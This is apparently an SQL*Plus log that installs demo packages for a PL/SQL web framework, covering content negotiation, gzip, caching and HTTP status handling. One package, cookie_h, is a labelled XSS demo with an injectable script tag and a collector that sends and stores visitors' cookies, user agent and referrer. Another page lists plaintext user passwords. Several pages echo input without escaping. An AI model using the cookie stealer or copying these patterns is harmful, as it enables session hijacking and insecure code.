5 if instr(r.header('accept-language'), 'el') > 0 then
6 pc.h;
7 src_b.link_proc;
8 x.p('<p>', 'OK, This page have Greece charracters your browser accept.');
9 x.p('<p>',
10 utl_i18n.raw_to_nchar('CEB1CEB2CEB3CEB4CEB5CEB6CEB7CEB8CEB9CEBACEBBCEBCCEBDCEBECEBECEBFCEBFCF81CF83CF84CF85CF86CF87CF88CF89',
11 'UTF8'));
12 elsif instr(r.header('accept-language'), 'zh') > 0 then
13 pc.h;
14 src_b.link_proc;
15 x.p('<p>', 'OK, This page have chinese charracters your browser accept.');
16 x.p('<p>',
17 utl_i18n.raw_to_nchar('E5A4A7E5AEB6E5A5BDEFBC8CE8BF99E698AFE4B8ADE69687E78988E7BD91E9A1B5E38082', 'AL32UTF8'));
18 else
19 h.sts_406_not_acceptable;
20 pc.h;
21 src_b.link_proc;
22 x.p('<p>',
23 'This page is for Greece reader only, You browser accepts "' || r.header('Accept-Language') || '" only.');
24 end if;
25 x.p('<p>', 'If the request''s accept headers can not be supported, return 406 not acceptable is ok.');
26 x.p('<p>', 'set your browser language to have zh(chinese), el(greece) to see versions of the page.');
27 end;
28
29 procedure accepts_best_match is
30 begin
31 x.p('<style>', 'dl{line-height:1.5em;}');
32
33 x.p('<h3>', 'accept');
34 x.o('<dl>');
35 x.p('<dt>', 'r.header(''accept'')');
36 x.p('<dd>', r.header('accept'));
37 x.p('<dt>', 'r.dump(''h$accepts'')');
38 x.p('<dd>', r.dump('h$accepts'));
39 x.p('<dt>', 'r.negotiation(''h$accepts'', ''text/xml'')');
40 x.p('<dd>', r.negotiation('h$accepts', 'text/xml'));
41 x.c('</dl>');
42
43 x.p('<h3>', 'accept-charset');
44 x.o('<dl>');
45 x.p('<dt>', 'r.header(''accept-charset'')');
46 x.p('<dd>', nvl(r.header('accept-charset'), 'none'));
47 x.p('<dt>', 'r.dump(''h$accept-charsets'')');
48 x.p('<dd>', r.dump('h$accept-charsets'));
49 x.p('<dt>', 'r.negotiation(''h$accept-charsets'', ''zhs'')');
50 x.p('<dd>', r.negotiation('h$accept-charsets', 'zhs'));
51 x.c('</dl>');
52
53 x.p('<h3>', 'accept-language');
54 x.o('<dl>');
55 x.p('<dt>', 'r.header(''accept-language'')');
56 x.p('<dd>', nvl(r.header('accept-language'), 'none'));
57 x.p('<dt>', 'r.dump(''h$accept-languages'')');
58 x.p('<dd>', r.dump('h$accept-languages'));
59 x.p('<dt>', 'r.negotiation(''h$accept-languages'', ''zh'')');
60 x.p('<dd>', r.negotiation('h$accept-languages', 'zh'));
61 x.c('</dl>');
62
63 x.p('<h3>', 'accept-encoding');
64 x.o('<dl>');
65 x.p('<dt>', 'r.header(''accept-encoding'')');
66 x.p('<dd>', nvl(r.header('accept-encoding'), 'none'));
67 x.p('<dt>', 'r.dump(''h$accept-encodings'')');
68 x.p('<dd>', r.dump('h$accept-encodings'));
69 x.p('<dt>', 'r.negotiation(''h$accept-encodings'', ''deflate'')');
70 x.p('<dd>', r.negotiation('h$accept-encodings', 'deflate'));
71 x.c('</dl>');
72 end;
73
74 end negotiation_b;
75 /
Package body created.
SQL>
SQL>
SQL> prompt
SQL> prompt Creating package HTML_B
Creating package HTML_B
SQL> prompt =======================
=======================
SQL> prompt
SQL> @@html_b.spc
SQL> create or replace package html_b is
2
3 procedure bind_data;
4
5 procedure component_css;
6
7 procedure regen_page;
8
9 procedure component;
10
11 procedure complex;
12
13 end html_b;
14 /
Package created.
SQL> @@html_b.bdy
SQL> create or replace package body html_b is
2
3 procedure bind_data is
4 cursor c_packages is
5 select *
6 from user_objects a
7 where a.object_type = 'PACKAGE'
8 and rownum <= 5
9 order by a.object_name asc;
10 begin
11 pc.h;
12 src_b.header;
13 x.o('<table rules=all,cellspacing=0,cellpadding=5,style=border:1px solid silver;>');
14 x.p(' <caption>', 'bind sql data to table example');
15 x.p(' <thead>', x.p('<tr>', m.w('<th>@</th>', 'package name,created')));
16 x.o(' <tbody>');
17 for i in c_packages loop
18 x.o('<tr>');
19 x.p(' <td>', i.object_name);
20 x.p(' <td>', t.d2s(i.created));
21 x.c('</tr>');
22 end loop;
23 x.c(' </tbody>');
24 x.c('</table>');
25 end;
26
27 procedure component_css is
28 v_link boolean;
29
30 procedure component1 is
31 begin
32 x.o('<div#id1>');
33 y.lcss_ctx('#id1');
34 y.lcss('p{line-height:1.5em;margin:0px 2em;color:gray;}');
35 x.p('<p>',
36 'This is div component with some p in it, This div component can control it''s css within itself,' ||
37 'no matter which page include the div, the css assosiated with the div is there.');
38 x.c('</div>');
39 end;
40
41 procedure component2 is
42 begin
43 x.o('<form#id2>');
44 y.lcss_ctx('#id2');
45 y.lcss('{border:3px solid blue;border-radius:12px;}');
46 y.lcss('input {border:1px solid silver;}');
47 x.p(' <label>', 'label' || x.s('<input type=text,name=n,value=text>'));
48 x.c('</form>');
49 end;
50
51 begin
52 h.content_encoding_try_zip;
53 x.t('<!DOCTYPE html>');
54 x.o('<html>');
55 x.o('<head>');
56 x.p(' <title>', 'component css');
57 case r.getc('link', '')
58 when 'Y' then
59 y.embed(r.getc('tag', '<link>'));
60 when 'N' then
61 y.embed(r.getc('tag', '<style>'));
62 else
63 null;
64 end case;
65 x.c('</head>');
66 x.o('<body>');
67
68 src_b.link_proc;
69 component1;
70 component2;
71 end;
72
73 procedure regen_page is
74 begin
75 pc.h;
76 x.p('<p>', 'This is the first generated page.');
77
78 b.print_init(true); -- this line will reset page output
79 pc.h;
80 src_b.link_proc;
81 x.p('<p>', 'This is the second generated page that replace the first generated page.');
82 end;
83
84 procedure component is
85 v_dhc boolean := b.written = 0;
86 begin
87 if v_dhc then
88 pc.h;
89 src_b.link_proc;
90 x.p('<p>', 'I''m in direct http access mode.');
91 else
92 x.t('<br/>');
93 src_b.link_proc('html_b.component');
94 x.p('<p>', 'I''m included in ' || r.prog || ' as a component.');
95 end if;
96 x.p('<p>', 'My proc name is html_b.component.');
97 x.p('<p>', 'Use direct http access to component is good for reuse and testing.');
98 end;
99
100 procedure complex is
101 begin
102 pc.h;
103 src_b.link_proc;
104 x.p('<p>', 'I''m a page composed of components');
105 component;
106 x.t('<br/>');
107 end;
108
109 end html_b;
110 /
Package body created.
SQL> prompt
SQL> prompt Creating package HTTP_B
Creating package HTTP_B
SQL> prompt =======================
=======================
SQL> prompt
SQL> @@http_b.spc
SQL> create or replace package http_b is
2
3 procedure gzip;
4
5 procedure chunked_transfer;
6 procedure long_job;
7
8 procedure content_type;
9 procedure content_css;
10 procedure content_js;
11
12 procedure refresh;
13
14 procedure content_md5;
15
16 end http_b;
17 /
Package created.
SQL> @@http_b.bdy
SQL> create or replace package body http_b is
2
3 procedure gzip is
4 begin
5 case r.getc('use', 'on')
6 when 'on' then
7 h.content_encoding_try_zip;
8 when 'off' then
9 h.content_encoding_identity;
10 when 'auto' then
11 h.content_encoding_auto;
12 end case;
13
14 src_b.header;
15 b.line('This page gzip setting is ' || r.getc('use', 'auto') || '<br/>');
16 b.line('This page print ' || r.getc('count', 100) || ' numbers <br/>');
17 b.line('<br/>');
18
19 b.line('<form action="http_b.gzip">');
20 b.line('gzip options: ');
21 b.line('<input name="use" type="radio" value="on" checked/>');
22 b.line('<label>ON(if support)</label>');
23 b.line('<input name="use" type="radio" value="off"/>');
24 b.line('<label>OFF</label>');
25 b.line('<input name="use" type="radio" value="auto"/>');
26 b.line('<label>AUTO(if support and response deserve for zip)</label>');
27 b.line('<br/>');
28 b.line('how many numbers to print: ');
29 b.line('<input name="count" type="text" value="' || r.getc('count', 100) || '">');
30 b.line('<br/>');
31 b.line('<input type="submit"/>');
32 b.line('</form>');
33 b.line('<br/>');
34
35 for i in 1 .. r.getc('count', 100) loop
36 b.line(i || '<br/>');
37 end loop;
38 end;
39
40 procedure chunked_transfer is
41 begin
42 h.content_encoding_identity;
43 h.header_close;
44
45 b.line('<link href="http_b.content_css" type="text/css" rel="stylesheet"/>');
46 b.line('<script src="http_b.content_js"></script>');
47 src_b.header;
48 b.line('This page transfer-encoding setting is ' || r.getc('use', 'on') || '<br/>');
49 b.line('This page print ' || r.getc('count', 100) || ' numbers <br/>');
50 b.line('<br/>');
51
52 b.line('<form action="http_b.chunked_transfer">');
53 b.line('flush in half way(chunked transfer) options: ');
54 b.line('<input name="use" type="radio" value="on"/>');
55 b.line('<label>ON</label>');
56 b.line('<input name="use" type="radio" value="off"/>');
57 b.line('<label>OFF</label>');
58 b.line('<br/>');
59 b.line('how many numbers to print: ');
60 b.line('<input name="count" type="text" value="' || r.getc('count', 100) || '">');
61 b.line('<br/>');
62 b.line('<input type="submit"/>');
63 b.line('</form>');
64 b.line('When this page is print out at this point, it will wait a while for big data processing.<br/>');
65 b.line('So it should use "b.flush" API to send the already generated part to client/browser.<br/>');
66 b.line(x.e('You call b.flush after <head><script><link> to load referenced files early, before body is generated.<br/>'));
67 b.line('Call b.flush will use chunked transfer-encode mode instead of the default Content-Length mode<br/>');
68
69 if r.getc('use', 'on') = 'on' then
70 b.flush;
71 end if;
72
73 dbms_lock.sleep(2);
74
75 for i in 1 .. r.getc('count', 100) loop
76 b.line(i || '<br/>');
77 end loop;
78 end;
79
80 procedure long_job is
81 begin
82 b.set_line_break(chr(10));
83 h.content_encoding_identity;
84 h.header_close;
85
86 src_b.header;
87 b.line('<h3>This a long-running page that use chunked transfer and flush by section to response early</h3>');
88 b.line('<div id="cnt"></div>');
89 b.line('<script>var cnt=document.getElementById("cnt");</script>');
90 b.line('<pre>');
91 for i in 1 .. 9 loop
92 b.line('LiNE, NO.' || i);
93 b.line('<script>cnt.innerText=' || i || ';</script>');
94 -- b.line(rpad(i, 300, i));
95 if r.is_lack('inspect') then
96 b.flush;
97 -- you may not force flush when h.auto_chunk_max_idle is set.
98 -- but you can close auto flush by call h.auto_chunk_max_idle(null);
99 dbms_lock.sleep(1);
100 end if;
101 end loop;
102 b.line('</pre>');
103 b.line('<p>Over, Full page is generated completely</p>');
104 end;
105
106 procedure content_type is
107 procedure mime_link(mime varchar2) is
108 begin
109 b.line('<a target="_blank" href="http_b.content_type?mime=' || mime || '"> open ' || mime ||
110 ' edition to new window </a><br/>');
111 end;
112 begin
113 h.content_type(r.getc('mime', 'text/html'));
114
115 b.line('<html>');
116 b.line('<head>');
117
118 if r.getc('mime', 'text/html') = 'text/html' then
119 b.line('<link href="http_b.content_css" rel="stylesheet" type="text/css"/>');
120 b.line('<script src="http_b.content_js"></script>');
121 end if;
122
123 b.line('</head>');
124 b.line('<body>');
125
126 if r.getc('mime', 'text/html') = 'text/html' then
127 src_b.header;
128 b.line('<br/>');
129
130 mime_link('text/html');
131 mime_link('text/plain');
132 mime_link('text/xml');
133
134 mime_link('application/msword');
135 mime_link('application/vnd.ms-excel');
136 mime_link('application/vnd.ms-powerpoint');
137 mime_link('application/octet-stream');
138
139 b.line('<a href="http_b.content_css" target="_blank">view linked css (http_b.content_css)</a><br/>');
140 b.line('<a href="http_b.content_js" target="_blank">view included js (http_b.content_js)</a><br/>');
141 end if;
142
143 b.line('<style>a{line-height:1.5em;text-decoration:none;}</style>');
144 b.line('<div>');
145 b.line('<h1> document header </h1>');
146 b.line('<h3>You can use h.content_type API to specify what you output to the http entity body.</h3>');
147 b.line('<h3>' || 'This is a ' || r.getc('mime', 'text/html') || ' mime-typed page' || '</h3>');
148 b.line('<p>paragraph 1</p>');
149 b.line('<p>paragraph 2</p>');
150 b.line('<p>paragraph 3</p>');
151 b.line('</div>');
152 b.line('<table rules="all" style="border:1px solid red;">');
153 b.line('<tr><td>A1</td><td>B1</td></tr><tr>');
154 b.line('<td>A2</td><td>B2</td></tr>');
155 b.line('</table>');
156 b.line('</body>');
157 b.line('</html>');
158
159 end;
160
161 procedure content_css is
162 begin
163 h.content_type(mime_type => 'text/css');
164 h.content_type(h.mime_css);
165 b.line('body {background-color:silver;}');
166 end;
167
168 procedure content_js is
169 begin
170 h.content_type(mime_type => 'application/x-javascript');
171 b.line('alert("javascript speaking");');
172 end;
173
174 procedure refresh is
175 begin
176 if r.is_lack('inspect') then
177 h.refresh(r.getn('interval', 3, '9'), r.getc('to', ''));
178 end if;
179 src_b.header;
180 b.line('<pre>');
181 b.line(t.dt2s(sysdate));
182 b.line('refresh to ' || r.getc('to', 'self') || ' every ' || r.getn('interval', 3) || 's');
183 b.line('</pre>');
184 end;
185
186 procedure content_md5 is
187 begin
188 h.content_md5_on;
189 if r.getb('nozip', true) then
190 -- md5 is computed in Oracle
191 h.content_encoding_identity;
192 else
193 -- md5 is computed in NodeJS;
194 null;
195 end if;
196 src_b.header;
197 x.p('<p>', 'Use http content-md5 header to ensure response body integrity.');
198 x.p('<p>', 'Call h.conent_md5_on to automatically compute md5 of response body and set content-md5 header.');
199 x.p('<p>', 'Content MD5 for the same page is diffrent for diffrent Content-Encoding');
200 end;
201
202 end http_b;
203 /
Package body created.
SQL> prompt
SQL> prompt Creating package COOKIE_H
Creating package COOKIE_H
SQL> prompt =======================
=======================
SQL> prompt
SQL> @@cookie_h.spc
SQL> create or replace package cookie_h is
2
3 procedure form_view;
4
5 procedure steal;
6
7 end cookie_h;
8 /
Package created.
SQL> @@cookie_h.bdy
SQL> create or replace package body cookie_h is
2
3 procedure form_view is
4 n varchar2(100);
5 v varchar2(999);
6 begin
7 src_b.header;
8 x.l('<link>', '[bootstrap.css]');
9 x.o('<div.container>');
10 if not r.is_null('name') then
11 h.set_cookie(r.getc('name'),
12 r.getc('value'),
13 domain => r.getc('domain'),
14 path => r.getc('path'),
15 httponly => r.getb('httponly'),
16 secure => r.getb('secure'));
17 --r.setc('c$' || r.getc('name'), r.getc('value'));
18 elsif not r.is_lack('delname') then
19 for i in 1 .. r.cnt('delname') loop
20 tmp.s := r.getc('delname', idx => i);
21 h.set_cookie(tmp.s, r.getc('c$' || tmp.s), httponly => false, expires => trunc(sysdate - 1));
22 end loop;
23 end if;
24
25 if r.method = 'POST' then
26 h.refresh(1, r.prog);
27 return;
28 h.go(r.prog);
29 end if;
30
31 x.f('<form method=post>', r.prog);
32 x.o('<fieldset>');
33 x.p('<legend>', 'set cookie');
34
35 x.o(' <div.form-group>');
36 x.p(' <label>', 'set-cookie name');
37 x.s(' <input.form-control type=text,name=name>');
38 x.c(' </div>');
39
40 x.o(' <div.form-group>');
41 x.p(' <label>', 'set-cookie value');
42 x.s(' <input.form-control type=text,name=value>');
43 x.c(' </div>');
44
45 x.o(' <div.form-group>');
46 x.p(' <label>', 'set-cookie domain');
47 x.s(' <input.form-control type=text,name=domain>');
48 x.c(' </div>');
49
50 x.o(' <div.form-group>');
51 x.p(' <label>', 'set-cookie path');
52 x.s(' <input.form-control type=text,name=path>');
53 x.c(' </div>');
54
55 x.o(' <div.checkbox>');
56 x.p(' <label>', x.s('<input type=checkbox,name=httponly>') || 'http only');
57 x.c(' </div>');
58
59 x.o(' <div.checkbox>');
60 x.p(' <label>', x.s('<input type=checkbox,name=secure>') || 'secure');
61 x.c(' </div>');
62
63 x.s(' <input.btn.btn-primary type=submit>');
64 x.c('</fieldset>');
65 x.c('</form>');
66
67 x.o('<div.well style=white-space:pre>');
68 x.t('<script>document.write(document.cookie.replace(/;/g,";\n"));</script>');
69 x.c('</div>');
70
71 x.o('<div.well style=white-space:pre>');
72 if r.is_lack('cookie') then
73 x.p('<p>', 'insert the following text into form input to steal cookies');
74 x.p('<p>', x.e(x.r('<script src="@cookie_h.steal"></script>', r.dir_full)));
75 else
76 x.p('<p>', 'stolen cookie');
77 x.t(r.getc('cookie'));
78 end if;
79 x.c('</div>');
80
81 x.t('<hr/>');
82 x.p('<h4>', '## This is all http request cookies');
83 x.f('<form method=post>', r.prog);
84 n := ra.params.first;
85 x.o(' <ol>');
86 loop
87 exit when n is null;
88 if n like 'c$%' then
89 v := ra.params(n) (1);
90 x.p('<li>', x.v('<input type=checkbox,name=delname>', substrb(n, 3)) || ' ' || n || ' : ' || v);
91 end if;
92 n := ra.params.next(n);
93 end loop;
94 x.c(' </ol>');
95 x.s(' <input.btn.btn-default type=submit>');
96 x.c('</form>');
97
98 end;
99
100 procedure steal is
101 v stolen_cookie_t%rowtype;
102 begin
103 if r.is_lack('cookie') then
104 -- gen script content
105 x.t(x.r('
106 $.ajax("@",{
107 dataType: "jsonp",
108 data: {
109 cookie:document.cookie,
110 ua:navigator.userAgent,
111 referer:document.referrer
112 }
113 });
114 ',
115 r.url_full));
116 else
117 -- got stealed info
118 v.logtime := sysdate;
119 v.referer := r.getc('referer');
120 v.cookies := r.getc('cookie');
121 v.ua := r.getc('ua');
122 insert into stolen_cookie_t values v;
123 end if;
124 end;
125
126 end cookie_h;
127 /
Package body created.
SQL>
SQL> prompt
SQL> prompt Creating package ERROR_B
Creating package ERROR_B
SQL> prompt ========================
========================
SQL> prompt
SQL> @@error_b.spc
SQL> create or replace package error_b is
2
3 procedure execute_with_error;
4
5 procedure check_right;
6
7 procedure maybe_no_data;
8
9 procedure on_developing;
10
11 procedure call_external;
12
13 end error_b;
14 /
Package created.
SQL> @@error_b.bdy
SQL> create or replace package body error_b is
2
3 procedure execute_with_error is
4 procedure error_root is
5 begin
6 if mod(to_char(sysdate, 'ss'), 2) = 1 then
7 raise_application_error(-20000, 'some exception');
8 end if;
9 end;
10 begin
11 error_root;
12 pc.h;
13 src_b.link_proc;
14 x.p('<p>', 'This page will raise exception at odd seconds.');
15 x.p('<p>', 'But you have luck, all is ok.');
16 end;
17
18 procedure on_developing is
19 begin
20 h.sts_501_not_implemented;
21 src_b.link_proc;
22 b.line('<br/>This page is under development, please wait for it''s release.');
23 end;
24
25 procedure check_right is
26 begin
27 if mod(to_char(sysdate, 'ss'), 2) = 1 then
28 h.sts_403_forbidden;
29 pc.h;
30 src_b.link_proc;
31 x.p('<p>', 'You are not allowed to access this page at odd seconds');
32 else
33 pc.h;
34 src_b.link_proc;
35 x.p('<p>', 'You are allowed to access this page at even seconds only');
36 end if;
37 end;
38
39 procedure maybe_no_data is
40 v_pack varchar2(30) := upper(r.getc('pack', ''));
41 cur sys_refcursor;
42 begin
43 select count(*)
44 into tmp.cnt
45 from user_objects a
46 where a.object_name = v_pack
47 and a.object_type = 'PACKAGE BODY';
48 if tmp.cnt = 0 then
49 h.sts_404_not_found;
50 pc.h;
51 src_b.link_proc;
52 x.p('<p>', 'There is no package named ' || v_pack);
53 x.o('<form>');
54 x.o(' <select name=pack>');
55 x.p(' <option value=NONE>', 'NONE');
56 open cur for select a.object_name, a.object_name from user_objects a where a.object_type = 'PACKAGE BODY';
57 m.nv('<option ?selected value="@">@</option>', cur, '');
58 x.c(' </select>');
59 x.s(' <input type=submit>');
60 x.c('</form>');
61 else
62 src_b.link_proc;
63 x.p('<h3>', 'Pakcage ' || v_pack || ' has the following sub procedures');
64 for i in (select a.procedure_name from user_procedures a where a.object_name = v_pack) loop
65 x.p('<p>', i.procedure_name);
66 end loop;
67 end if;
68 end;
69
70 procedure call_external is
71 begin
72 if mod(to_char(sysdate, 'ss'), 2) = 1 then
73 h.sts_503_service_unavailable;
74 pc.h;
75 src_b.link_proc;
76 x.p('<p>', 'This page call a external service that''s unavailable for now.');
77 else
78 pc.h;
79 src_b.link_proc;
80 x.p('<p>', 'Lucky, Call external service out of DB successfully.');
81 end if;
82 x.p('<p>', 'If plsql call a out-of-db service, such as through db-link, external procedure, http,' ||
83 ' that service may be unavailable, so return 503 service unavailable is ok.');
84 end;
85
86 end error_b;
87 /
Package body created.
SQL> prompt
SQL> prompt Creating package LONG_OPS_B
Creating package LONG_OPS_B
SQL> prompt ========================
========================
SQL> prompt
SQL> @@long_ops_b.prc
SQL> create or replace procedure long_ops_b is
2 v_secs pls_integer := r.getn('sec', 10);
3 begin
4 for i in 1 .. v_secs loop
5 dbms_lock.sleep(1);
6 dbms_application_info.set_session_longops(tmp.i,
7 tmp.j,
8 op_name => r.url_full,
9 target_desc => 'sleep',
10 sofar => i,
11 totalwork => v_secs,
12 units => 'seconds');
13 end loop;
14 x.p('<p>', 'over');
15 end long_ops_b;
16 /
Procedure created.
SQL>
SQL> prompt
SQL> prompt Creating package CACHE_B
Creating package CACHE_B
SQL> prompt ========================
========================
SQL> prompt
SQL> @@cache_b.spc
SQL> create or replace package cache_b is
2
3 procedure expires;
4
5 procedure last_modified;
6
7 procedure last_scn;
8
9 procedure etag_md5;
10
11 procedure report_by_hour;
12
13 end cache_b;
14 /
Package created.
SQL> prompt
SQL> prompt Creating package body CACHE_B
Creating package body CACHE_B
SQL> prompt =============================
=============================
SQL> prompt
SQL> @@cache_b.bdy
SQL> create or replace package body cache_b is
2
3 procedure expires is
4 begin
5 h.expires(sysdate + 1);
6 cache.max_age(60);
7 cache.s_maxage(30);
8 cache.set_public;
9 --cache.no_cache;
10 cache.must_revalidate;
11 cache.proxy_revlidate;
12 pc.h;
13 src_b.link_proc;
14 x.p('<p>', 'Now is at ' || t.dt2s(sysdate) || '.');
15 x.p('<p>', 'This page will expire a whole day later.');
16 x.p('<p>',
17 'If your browser support expire cache model, when you click link to this page, the Now time will not change for the cached page.');
18 x.p('<p>', 'Using expires will save network round trip, such improve proformance.');
19 x.p('<p>', 'You can use special keys such as "F5", "Command-R" to force request to server for current version.');
20 end;
21
22 procedure last_modified is
23 begin
24 cache.set_private;
25 cache.set_public;
26 cache.must_revalidate;
27 cache.max_age(10);
28 cache.s_maxage(20);
29 --cache.no_cache;
30 h.expires_as_maxage;
31 h.last_modified(trunc(sysdate));
32 select max(a.last_ddl_time) into tmp.dt from user_objects a;
33 h.last_modified(tmp.dt);
34 h.check_if_not_modified_since;
35 --h.header_close; -- It's required to avoid executing the main code.
36
37 pc.h;
38 src_b.link_proc;
39 x.p('<p>', 'When this page is accessed, It may return 304 not modified for the entire day until mid-night.');
40 x.p('<p>',
41 'But if you modified/compiled some of the schema objeccts, It will detect the change and return the current version');
42 x.p('<p>',
43 'The last-modified-time will be max of the 00:00 in the morning or last-ddl-time of the schema objects.');
44 x.p('<p>',
45 'You can call h.last_modified multiple times, then call h.header_close, ' || '
46 the last-modified header will be set the lasted date value of them, ' ||
47 'So if the page have many parts, you can call h.last_modified for each part''s last modified time.');
48 x.t(' <br/>');
49
50 for i in (select * from user_objects a where a.object_type != 'PACKAGE' order by a.last_ddl_time desc) loop
51 x.p('<p>', t.dt2s(i.last_ddl_time) || ' > ' || i.object_name);
52 end loop;
53 end;
54
55 procedure last_scn is
56 begin
57 h.expires_now;
58 cache.set_public;
59 select max(ora_rowscn) into tmp.scn from user_t a;
60 h.last_scn(tmp.scn);
61 h.check_if_none_match_scn;
62 --h.header_close; -- It's required to avoid executing the main code.
63
64 pc.h;
65 src_b.link_proc;
66 x.p('<p>', 'When this page is accessed, It may return 304 not modified for the entire day until mid-night.');
67 x.p('<p>',
68 'But if you modified/compiled some of the schema objeccts, It will detect the change and return the current version');
69 x.p('<p>',
70 'The last-modified-time will be max of the 00:00 in the morning or last-ddl-time of the schema objects.');
71 x.p('<p>',
72 'You can call h.last_modified multiple times, then call h.header_close, ' || '
73 the last-modified header will be set the lasted date value of them, ' ||
74 'So if the page have many parts, you can call h.last_modified for each part''s last modified time.');
75 x.t(' <br/>');
76
77 for i in (select * from user_t a) loop
78 x.p('<p>', t.dt2s(i.ctime) || ' > ' || i.name);
79 end loop;
80 end;
81
82 procedure etag_md5 is
83 --v_charset varchar2(30) := nls_charset_name(nls_charset_id('CHAR_CS'));
84 begin
85 h.content_md5_on;
86 h.content_encoding_identity;
87 h.etag_md5_on;
88 cache.set_public;
89 pc.h;
90 src_b.link_proc;
91 x.p('<p>', to_char(nls_charset_id('CHAR_CS')));
92 x.p('<h3>', 'There are all the schema object name list.');
93 x.p('<h4>', 'If all of them are not changed, it will return 304 not modified.');
94 x.p('<h4>',
95 'The page will still generating full page at oracle server side, ' ||
96 'But response body is saved from network transfer if it is not changed, ' ||
97 'Normally network transfer is the main factor for final response speed, ' ||
98 'So using automatically computed md5 as the ETag http header value (h.etag_md5_on) on cachable page can improve perforance greatly.');
99 for i in (select * from user_objects a where a.object_type != 'PACKAGE' order by a.last_ddl_time desc) loop
100 x.p('<p>', t.dt2s(i.last_ddl_time) || ' > ' || i.object_name);
101 end loop;
102 end;
103
104 procedure etag_manual is
105 begin
106 h.etag('md5value');
107 end;
108
109 procedure report_by_hour is
110 v_date date := trunc(sysdate, 'hh');
111 begin
112 h.last_modified(v_date);
113 h.expires_now;
114 h.header_close;
115 pc.h;
116 src_b.link_proc;
117
118 x.p('<p>',
119 'The user table report will update at start point of every hour. If you update the user table, the change can only see at the next hour.');
120 x.p('<p>', 'You can click ' || x.a('<a>', 'here', 'user_b.register') || ' to change user table and do test.');
121 x.p('<p>', 'Here we use flashback query to show the example.');
122 x.p('<p>', 'If you report snapshot date in history, you can use last-modified method to lever the cache.');
123
124 x.p('<h3>', 'There is the existing user list.');
125 x.o('<table rules=all,cellpadding=4>');
126 x.p(' <thead>', x.p('<tr>', m.w('<th>@</th>', 'USERNAME,PASSWORD,CREATE TIME')));
127 x.o(' <tbody>');
128 for i in (select * from user_t as of timestamp v_date) loop
129 tmp.stv := st(i.name, i.pass, t.dt2s(i.ctime));
130 x.p('<tr>', m.w('<td>', tmp.stv, '</td>'));
131 end loop;
132 x.c(' </tbody>');
133 x.c('</table>');
134 end;
135
136 end cache_b;
137 /
Package body created.
SQL>
SQL> prompt
SQL> prompt Creating package TEST_B
Creating package TEST_B
SQL> prompt =======================
=======================
SQL> prompt
SQL> @@test_b.spc
SQL> create or replace package test_b is
2
3 procedure entry;
4
5 procedure d;
6
7 procedure form;
8
9 procedure redirect;
10
11 end test_b;
12 /
Package created.
SQL> @@test_b.bdy
SQL> create or replace package body test_b is
2
3 procedure entry is
4 begin
5 h.header_close;
6 b.line('<pre>');
7 b.line('<a href="test_b.d">Link to test_b.d (basic request info) </a>');
8 b.line('<a href="test_b.redirect">Link to test_b.redirect (test for redirect)</a>');
9 b.line('</pre>');
10 b.line(r.protocol);
11 b.line(r.client_addr);
12 b.line(r.client_port);
13 b.line(r.header('x-forwarded-proto'));
14 b.line(r.header('x-forwarded-for'));
15 b.line(r.header('x-forwarded-port'));
16 end;
17
18 procedure d is
19 begin
20 if r.getn('count', 0) = 404 then
21 h.sts_404_not_found;
22 h.header_close;
23 b.writeln('resource with count=404 does not exits');
24 g.cancel;
25 end if;
26
27 if r.getn('count', 0) = 403 then
28 h.sts_403_forbidden;
29 h.header_close;
30 b.writeln('You have not the right to access resource with count=403');
31 g.cancel;
32 end if;
33
34 -- h.allow_post;
35 -- h.allow('POST,PUT');
36 h.sts_200_ok;
37 h.content_type('text/html', charset => 'utf-8');
38 h.content_language('zh-cn');
39 h.set_cookie('bsid', 'myself', path => r.dir || 'test_b.d');
40
41 h.header('a', 1);
42 h.header_close;
43
44 pc.h;
45 x.o('<style>');
46 b.line('p{line-height:1.1em;margin:0px;}');
47 x.c('</style>');
48 x.p('<p>', 'test case that none ascii charset following http header');
49 x.p('<p>', r.hostname);
50 x.p('<p>', r.port);
51 x.p('<p>', r.method);
52 x.p('<p>', r.prog);
53 x.p('<p>', r.pack);
54 x.p('<p>', r.proc);
55 x.p('<p>', r.qstr);
56
57 b.line('<br/>');
58 b.line(r.header('accept-encoding'));
59 b.line('<br/>');
60 -- b.line(to_char(r.lmt, 'yyyy-mm-dd hh24:mi:ss'));
61 b.line('<br/>');
62 -- b.line(r.etag);
63 x.t('<br/>');
64 x.a('<a>', 'self', r.prog || r.qstr);
65
66 for i in 1 .. r.getn('count', 10) loop
67 x.p('<p>', i);
68 end loop;
69 end;
70
71 procedure form is
72 begin
73 h.content_type(charset => 'gbk');
74 h.header_close;
75
76 b.line('<a href="test_b.redirect">Link to test_b.redirect</a>');
77 b.line('<form action="test_c.do?type=both&type=bothtoo" method="post" accept-charset="gbk">');
78 b.line('<input name="text_input" type="text" value="http://www.google.com?q=HELLO"/>');
79 b.line('Hello');
80 b.line(utl_i18n.escape_reference('Hello', 'us7ascii'));
81 b.flush;
82 b.line('<input name="checkbox_input" type="checkbox" value="checkedvalue1" checked="true"/>');
83 b.line('<input name="checkbox_input" type="checkbox" value="checkedvalue2" checked="true"/>');
84 b.line('<input name="password_input" type="password" value="passwordvalue"/>');
85 b.line('<input name="button1" type="submit" value="save"/>');
86 b.line('</form>');
87 end;
88
89 procedure redirect is
90 v_st st;
91 begin
92 case r.method
93 when 'POST' then
94 h.go('@b.d');
95 -- h.feedback;
96 return;
97
98 h.status_line(200);
99 h.content_type(mime_type => 'text/plain', charset => 'gbk');
100 h.header_close;
101
102 b.line(r.getc('text_input'));
103 b.line(r.getc('checkbox_input'));
104 r.gets('checkbox_input', v_st);
105 for i in 1 .. v_st.count loop
106 b.line(v_st(i));
107 end loop;
108 b.line(r.getc('password_input'));
109 b.line(r.getc('button1'));
110 b.line(r.getc('type'));
111 b.line(r.gets('type') (2));
112
113 b.line('');
114 b.line('http headers');
115 b.line(r.header('accept'));
116 b.line(r.header('accept-charset'));
117 b.line(r.header('accept-encoding'));
118 b.line(r.header('accept-language'));
119 b.line(r.header('connection'));
120
121 b.line('');
122 b.line('cookies');
123 b.line(r.cookie('ck1'));
124 b.line(r.cookie('ck2'));
125 b.line(r.cookie('ck3'));
126 b.line(r.cookie('ck4'));
127 when 'GET' then
128 h.status_line(303);
129 h.location('@b.entry');
130 h.header_close;
131 else
132 h.status_line(200);
133 h.content_type;
134 h.header_close;
135 b.line('Method (' || r.method || ') is not supported');
136 end case;
137 end;
138
139 end test_b;
140 /
Package body created.
SQL> prompt
SQL> prompt Creating package TEST_C
Creating package TEST_C
SQL> prompt =======================
=======================
SQL> prompt
SQL> @@test_c.spc
SQL> create or replace package test_c is
2
3 procedure do;
4
5 procedure do_201;
6
7 procedure do_202;
8
9 procedure do_203;
10
